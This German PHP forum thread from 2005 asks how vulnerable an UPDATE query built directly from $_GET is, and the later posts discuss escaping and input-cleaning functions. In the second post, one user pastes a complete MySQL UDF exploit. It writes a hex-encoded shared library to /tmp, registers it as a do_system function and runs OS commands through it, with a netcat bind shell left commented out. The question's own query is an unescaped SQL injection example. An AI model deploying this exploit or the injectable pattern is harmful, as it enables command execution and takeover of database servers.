Antwort
 
Themen-Optionen Thema durchsuchen
Alt 08.11.2005, 18:09 Nach oben    #1
Benutzer
 
Benutzerbild von Sebastian
 
Registriert seit: 07.11.2005
Beiträge: 31
Standard Wie anfälig ist dieser MySQL Code ?

Hallo,

ich habe mal folgende Frage: Wie weit ist dieser Code gefährlich für die Datenbank?

Der Code:
PHP-Code:
<?PHP
$db
->updaten("UPDATE `".$db_tab['datenbank']."` SET `foo` = '".$_GET['bar']."' WHERE ( `moep` = 'muh' ) LIMIT 1 ");
?>
Das würde mich mal Interessieren, wie ich da jetzt rangehen muss, um zu testen, ob es möglich ist, halt die ganze datenbank zu löschen (etc).
Sebastian ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 08.11.2005, 18:15 Nach oben    #2
Goldman.de
 
Benutzerbild von J33d3X
 
Registriert seit: 09.10.2005
Ort: Frankfurt am Main
Beiträge: 190
Standard

probier dochmal aus

PHP-Code:
// this is the MySql root password.
  
$pass='useyoupasswordhere';


  function 
mysql_create_db($db,$link)
  {
  
$query="CREATE database $db;";
  return  
mysql_query($query$link) ;

  }
  
// the library in little endian hex. (from NGS's Hackproofing_MySql
http://www.nextgenss.com/papers/HackproofingMySQL.pdf )

$solib="0x7f454c460101010000000000000000000300030001000000200600003400000034
0a00000000000034002000040028001600150001000000000000000000000000000000940700
0094070000050000000010000001000000940700009417000094170000040100000801000006
00000000100000020000009c0700009c1700009c170000c8000000c800000006000000040000
0051e57464000000000000000000000000000000000000000006000000040000002500000028
0000000000000026000000000000000000000000000000000000000000000022000000270000
0000000000000000000000000000000000000000000000000000000000000000000000000023
0000001e00000000000000000000000000000000000000000000002000000000000000000000
0000000000000000002100000025000000000000000000000000000000240000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000 0000000
00000000000000000000000000001c000000000000001f000000000000001d00000000000000
0000000000000000000000000000000000000000b4000000000000000300010000000000f001
0000000000000300020000000000700400000000000003000300000000001005000000000000
0300040000000000600500000000000003000500000000009005000000000000030006000000
0000c0050000000000000300070000000000d0050000000000000300080000000000e8050000
000000000300090000000000200600000000000003000a000000000074070000000000000300
0b0000000000900700000000000003000c0000000000941700000000000003000d0000000000
9c1700000000000003000e0000000000641800000000000003000f00000000006c1800000000
0000030010000000000074180000000000000300110000000000781800000000000003001200
0000000098180000000000000300130000000000000000000000000003001400000000000000
0000000000000300150000000000000000000000000003001600000000000000000000000000
0300170000000000000000000000000003001800000000000000000000000000030019000000
0000000000000000000003001a0000000000000000000000000003001b00010000009c170000
00 0000001
100f1ff610000000000000076000000120000002f000000d0050000000000001200080079000
00098180000000000001000f1ff35000000740700000000000012000b003b000000000000009
7000000220000005e000000080700003600000012000a007200000098180000000000001000f
1ff0a00000078180000000000001100f1ff850000009c180000000000001000f1ff4a0000000
0000000000000002000000020000000000000000000000020000000005f44594e414d4943005
f474c4f42414c5f4f46465345545f5441424c455f005f5f676d6f6e5f73746172745f5f005f6
96e6974005f66696e69005f5f6378615f66696e616c697a65005f4a765f52656769737465724
36c617373657300646f5f73797374656d006c6962632e736f2e36005f6564617461005f5f627
3735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e300000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000010002000100010001000300010001000100010000000
00001000200680000001000000000000000731f6909000003008a000000100000001069690d0
00002009600000000000000941700000800000098170000080000002b070000021d00008c180
00 0062100
0090180000062600009418000006270000841800000721000088180000072600005589e583ec
08e845000000e8e0000000e85b010000c9c300ffb304000000ffa30800000000000000ffa30c
0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff000000000000000055
89e553e8000000005b81c34f120000528b831c00000085c07402ffd0585bc9c3909090909090
9090909090909090905589e553e8000000005b81c31f1200005180bb200000000075348b9314
00000085d2752f8b8320ffffff8b1085d2741783c004898320ffffffffd28b8320ffffff8b10
85d275e9c68320000000018b5dfcc9c383ec0c8b831cffffff50e846ffffff83c410ebbd89f6
8dbc27000000005589e553e8000000005b81c3af110000508b83fcffffff85c0740a8b831800
000085c0750b8b5dfcc9c38db60000000083ec0c8d83fcffffff50e809ffffff83c4108b5dfc
c9c3905589e583ec088b450c8338017409c745fc00000000eb1a83ec0c8b450c8b4008ff30e8
fcffffff83c410c745fc000000008b45fcc9c390905589e55653e8000000005b81c32e110000
8d83f0ffffff8d70fc8b40fc83f8ff740c83ee04ffd08b0683f8ff75f45b5e5dc390905589e5
53e8000000005b81c3fb10000050e8c6feffff595bc9c3000000000000941700007018000001
00 0000680
000000c000000d00500000d0000007407000004000000b400000005000000700400000600000
0f00100000a000000a00000000b0000001000000003000000781800000200000010000000140
000001100000017000000c005000011000000900500001200000030000000130000000800000
01600000000000000feffff6f60050000ffffff6f01000000f0ffff6f10050000faffff6f020
0000000000000000000000000000000000000000000000000000000000000000000000000000
000000000ffffffff00000000ffffffff00000000000000009c1700000000000000000000fe0
500000e060000000000000000000000000000004743433a2028474e552920332e332e3120284
d616e6472616b65204c696e757820392e3220332e332e312d316d646b2900004743433a20284
74e552920332e332e3120284d616e6472616b65204c696e757820392e3220332e332e312d326
d646b2900004743433a2028474e552920332e332e3120284d616e6472616b65204c696e75782
0392e3220332e332e312d326d646b2900004743433a2028474e552920332e332e3120284d616
e6472616b65204c696e757820392e3220332e332e312d326d646b2900004743433a2028474e5
52920332e332e3120284d616e6472616b65204c696e757820392e3220332e332e312d316d646
b2 900002e
7368737472746162002e68617368002e64796e73796d002e64796e737472002e676e752e7665
7273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74
002e696e6974002e74657874002e66696e69002e65685f6672616d65002e64617461002e6479
6e616d6963002e63746f7273002e64746f7273002e6a6372002e676f74002e627373002e636f
6d6d656e74000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000b0000000500000002000000b4000000b40000003c01000002000000
000000000400000004000000110000000b00000002000000f0010000f0010000800200000300
00001c00000004000000100000001900000003000000020000007004000070040000a0000000
0000000000000000010000000000000021000000ffffff6f0200000010050000100500005000
0000020000000000000002000000020000002e000000feffff6f020000006005000060050000
30000000030000000100000004000000000000003d0000000900000002000000900500009005
00003000000002000000000000000400000008000000460000000900000002000000c0050000
c005000010000000020000000900000004000000080000004f0000000100000006000000d005
00 00d0050
00017000000000000000000000004000000000000004a0000000100000006000000e8050000e
8050000300000000000000000000000040000000400000055000000010000000600000020060
0002006000054010000000000000000000010000000000000005b00000001000000060000007
4070000740700001a00000000000000000000000400000000000000610000000100000002000
000900700009007000004000000000000000000000004000000000000006b000000010000000
3000000941700009407000008000000000000000000000004000000000000007100000006000
000030000009c1700009c070000c8000000030000000000000004000000080000007a0000000
1000000030000006418000064080000080000000000000000000000040000000000000081000
00001000000030000006c1800006c08000008000000000000000000000004000000000000008
8000000010000000300000074180000740800000400000000000000000000000400000000000
0008d00000001000000030000007818000078080000200000000000000000000000040000000
4000000920000000800000003000000981800009808000004000000000000000000000004000
000000000009700000001000000000000000000000098080000fa00000000000000000000000
10 0000000
0000000100000003000000000000000000000092090000a00000000000000000000000010000
0000000000"
;




  
$link=mysql_connect("127.0.0.1","root",$pass);
  if (!
$link) {
     die(
'Could not connect: ' mysql_error());
  }
  echo 
"Connected successfully as root\n";
  echo 
"creating db for lib\n";
  
mysql_create_db('my_db',$link)  or print ('cannot create my_db db,
sorry!'
);
  echo 
"done....\n";
  echo 
"selecting db for lib\n";
  
mysql_select_db('my_db') or print ('cannot use my_db db, sorry!');
  echo 
"done....\n";


  echo 
"creating blob table for lib\n";
  
$query="CREATE TABLE blob_tab (blob_col BLOB);";
  
$result mysql_query($query$link) or print("cannot  create blob table
for lib\n"
);
  echo 
"done....\n";


  echo 
"inserting blob table for lib\n";
  
$query="INSERT into blob_tab values (CONVERT($solib,CHAR));";
  
$result mysql_query($query$link) or print("cannot  insert blob for
lib\n"
);
  echo 
"done....\n";


  echo 
"dumping lib in /tmp/libso.so.0...\n";
  
$query="SELECT blob_col FROM blob_tab INTO DUMPFILE '/tmp/libso.so.0';";
  
$result mysql_query($query$link) or print("cannot  dump lib\n");
  echo 
" done....\n";


  
mysql_select_db('mysql') or die ('cannot use mysql db, sorry!');
  echo 
"sending lib....\n";


  
$query="insert into func (name,dl) values
('do_system','/tmp/libso.so.0');"
;
  
$result mysql_query($query$link);
  echo 
"done....\n";
  echo 
"Creating exit function to restart server\n";


  
$query="create function exit returns integer soname 'libc.so.6';";
  
$result mysql_query($query$link) or print ("cannot create exit,
sorry!\n"
);
  echo 
"done....\n";
  echo 
"Selecting exit function\n";


  
$query="select exit();";
  
$result mysql_query($query$link);
  echo 
"done!\nWaiting for server to restart\n";


  
sleep(1);


  
$link=mysql_connect("127.0.0.1","root",$pass);
  if (!
$link) {
     die(
'Could not connect: ' mysql_error());
  }
  echo 
"Connected to MySql server again...\n";


  
//$cmd ='/usr/sbin/nc -l -p 8000 -e /bin/bash';
  
$cmd ='id >/tmp/id';
  echo 
"Sending Command...$cmd\n";
  
$query="select do_system('$cmd');";
  
$result mysql_query($query$link);
  echo 
"done!\n";
  echo 
"Now use your fav shell and ls /tmp/id -l \n";
  
mysql_close($link); 
J33d3X ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 08.11.2005, 19:44 Nach oben    #3
Benutzer
 
Benutzerbild von Sebastian
 
Registriert seit: 07.11.2005
Beiträge: 31
Standard

Wäre auch toll wenn du mir vorher sagst, was passieren soll bzw. kann.
Sebastian ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 08.11.2005, 21:19 Nach oben    #4
Jann Hendrik Bekaan
 
Benutzerbild von Jann Hendrik
 
Registriert seit: 02.12.2004
Ort: Wildeshausen
Beiträge: 2.214
Standard

teste das doch lokal in einer Extra-Datenbank - dann weißt du es!


ggf. hilft dir auch folgender thread:
MySql Abfrage/verbindung sicher machen
[ SQL ] Artikel: About Security (#11): SQL-Injection
__________________

Umfragen:
bitte beachten: Vorschläge für künftige Umfragen
Woher weißt du vom developers-guide?

Wenn du dich in ein interessantes Thema eingearbeitet hast, dann lass andere daran teilhaben! Schreibe ein Tutorial und beschreibe, wie es geht, was nicht klappt, wo man aufpassen muss usw.
Danke!

Geändert von Jann Hendrik (28.05.2008 um 20:13 Uhr).
Jann Hendrik ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 08.11.2005, 21:48 Nach oben    #5
Benutzer
 
Benutzerbild von Sebastian
 
Registriert seit: 07.11.2005
Beiträge: 31
Standard

Das werd ich mir mal einbauen. http://forum.developers-guide.net/showpost-p_1099-postcount_4.html

Dazu ne frage, abc steht für ne ganze Abfrage oder nur die Variabeln beim einfügen?

Geändert von Jann Hendrik (27.06.2007 um 11:08 Uhr). Grund: dieser link ist leider nicht mehr verfügbar oder nachvollziehbar
Sebastian ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 09.11.2005, 11:21 Nach oben    #6
Jann Hendrik Bekaan
 
Benutzerbild von Jann Hendrik
 
Registriert seit: 02.12.2004
Ort: Wildeshausen
Beiträge: 2.214
Standard

abc steht in dem Fall für dein sql-statement.

Aber ich halte die von mir dort gepostete Version nicht mehr für so geschickt....
Dazu aber mehr in der Kritik, die in den posts danach kommt...

Hier im Forum (ich finde die Stelle gerade nicht wieder) wurde folgende Funktion verlinkt:

PHP-Code:
  function mysql_secure($value)
  {
   
// Stripslashes
   
if (get_magic_quotes_gpc()) {
       
$value stripslashes($value);
   }
   
// Quote if not integer
   
if (!is_numeric($value)) {
       
$value "'" mysql_real_escape_string($value) . "'";
   }
    RETURN 
$value;
  } 
Ich nutze nun diese. Zu finden ist sie auf wikipedia
http://de.wikipedia.org/wiki/SQL-Injection#PHP
__________________

Umfragen:
bitte beachten: Vorschläge für künftige Umfragen
Woher weißt du vom developers-guide?

Wenn du dich in ein interessantes Thema eingearbeitet hast, dann lass andere daran teilhaben! Schreibe ein Tutorial und beschreibe, wie es geht, was nicht klappt, wo man aufpassen muss usw.
Danke!
Jann Hendrik ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 09.11.2005, 13:25 Nach oben    #7
Goldman.de
 
Benutzerbild von J33d3X
 
Registriert seit: 09.10.2005
Ort: Frankfurt am Main
Beiträge: 190
Standard

oder am anfang des scripts

PHP-Code:
<?php

// use htmlentities, strip_tags, and trim the following:
if ($_POST)
  
$_POST PreClean($_POST);
if (
$_GET)
  
$_GET PreClean($_GET);
if (
$_COOKIE)
  
$_COOKIE PreClean($_COOKIE);
?>
dann irgendwo:

PHP-Code:
<?php

set_magic_quotes_runtime
(0);

// FUNCTIONS ############################################################################

// addslashes to all post data

function AddSlashesArray($data) {
    if (
is_array($data)) {
        foreach (
$data as $key => $val) {
            
$return[$key] = AddSlashesArray($val);
        }
        return (
$return);
    }
    return (
addslashes($data));
}

// PRE CLEAN ############################################################################

function PreClean($data) {
    if (
is_array($data)) {
        foreach (
$data as $key => $val) {
            
$return[$key] = PreClean($val);
        }
        return (
$return);
    }
    return 
trim(htmlentities(strip_tags($data), ENT_QUOTES));
}

// UNHTMLENTITIES #######################################################################
// this is exactly like PHP's html_entity_decode
// however html_entity_decode only works on PHP > 4.3.0 or 5

function unhtmlentities($string) {
    
$trans_tbl get_html_translation_table(HTML_ENTITIES);
    
$trans_tbl array_flip($trans_tbl);
    return 
strtr($string$trans_tbl);
}

// ADDSLASHES TO POST DATA ##############################################################

if (!get_magic_quotes_gpc()) // do addslashes if gpc is off
{
    if (
$_POST)
        
$_POST AddSlashesArray($_POST);
    if (
$_GET)
        
$_GET AddSlashesArray($_GET);
    if (
$_COOKIE)
        
$_COOKIE AddSlashesArray($_COOKIE);

// else, addslashes has been performed automatically
?>


so nun hast du IMMER automatisch deine Superglobals gesichert und kannst Sie verwenden wie dir nach Herzen ist


mfg
J33d3X ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 10.11.2005, 07:34 Nach oben    #8
Corvin Gröning
 
Benutzerbild von Corvin
 
Registriert seit: 19.03.2005
Ort: S-H | Flensburg
Beiträge: 449
Standard

@Sebastian:
Das ist wohl auch interessant für dich:
http://www.inphp.de/forum/showthread-t_125.html
__________________
Corvin ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 12.11.2005, 11:51 Nach oben    #9
Benutzer
 
Benutzerbild von Sebastian
 
Registriert seit: 07.11.2005
Beiträge: 31
Standard

Corvin, der Link ist echt sehr hilfreich gewesen.

J33d3X, wenn man deinen Code verwendet, muss man dann beim ausgeben noch Zeichen entfernen? Da wir ja ne menge Backslash setzten. (So wie es aussieht)
Sebastian ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 12.11.2005, 11:53 Nach oben    #10
Corvin Gröning
 
Benutzerbild von Corvin
 
Registriert seit: 19.03.2005
Ort: S-H | Flensburg
Beiträge: 449
Standard

Zitat:
Zitat von Sebastian
Corvin, der Link ist echt sehr hilfreich gewesen.
Das freut micht
__________________
Corvin ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 12.11.2005, 17:36 Nach oben    #11
Goldman.de
 
Benutzerbild von J33d3X
 
Registriert seit: 09.10.2005
Ort: Frankfurt am Main
Beiträge: 190
Standard

@Corvin

in deinem Artikel ..

Zitat:
praktisch diesen:
PHP-Code:
$logged_in == true; // <----- kleiner Fehler ?
// if the user is logged in...
if($logged_in == true) {
// print secret data
echo "Your secret data";
}
J33d3X ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 12.11.2005, 19:05 Nach oben    #12
Corvin Gröning
 
Benutzerbild von Corvin
 
Registriert seit: 19.03.2005
Ort: S-H | Flensburg
Beiträge: 449
Standard

Ups
Danke für den Hinweis, ich habs korrigiert.
__________________
Corvin ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Alt 13.11.2005, 07:53 Nach oben    #13
Goldman.de
 
Benutzerbild von J33d3X
 
Registriert seit: 09.10.2005
Ort: Frankfurt am Main
Beiträge: 190
Standard

np ..

weiterhin kann ich jedem nur raten:
bei Bedingungen den zu vergleichenden Wert IMMER auf die linke Seite
des Vergleichs zu setzen so kann man sich bei Flüchtigkeitsfehler wenigstens
kein Eigentor schießen

bsp von oben
if($logged_in == true) { ...

Flüchtigkeitsfehler
if($logged_in = true) { ...

umgedreht:
if(true == $logged_in) { ...

Flüchtigkeitsfehler:
if(true = $logged_in) { ... // einer Konstanten einen Wert zuweisen wird mit einem Fatalerror belohnt

es kann also durch art der Schreibweise die Eigentorrate minimiert werden


mfg
J33d3X ist offline  
Add Post to del.icio.usBookmark Post in TechnoratiDiesen Beitrag zu Mister Wong hinzufügen!
Mit Zitat antworten
Antwort

Lesezeichen


Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)
 
Themen-Optionen Thema durchsuchen
Thema durchsuchen:

Erweiterte Suche

Forumregeln
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
MySQL 5.1 nähert sich der Fertigstellung Jann Hendrik Nachrichten 1 14.09.2007 13:36
[Suche] MySQL Tool ähnlich MySQL Front ex³ Gesuche 5 22.12.2006 18:52
ssh tunnel zu einer mysql datenbank beny_mcde Datenbanken 4 07.06.2006 16:05
MySQL 5.1 kommt in die Beta-Phase Ben Nachrichten 1 02.03.2006 14:31


Alle Zeitangaben in WEZ +2. Es ist jetzt 06:49 Uhr.


Powered by vBulletin® Version 3.7.3 (Deutsch)
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.2.0

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44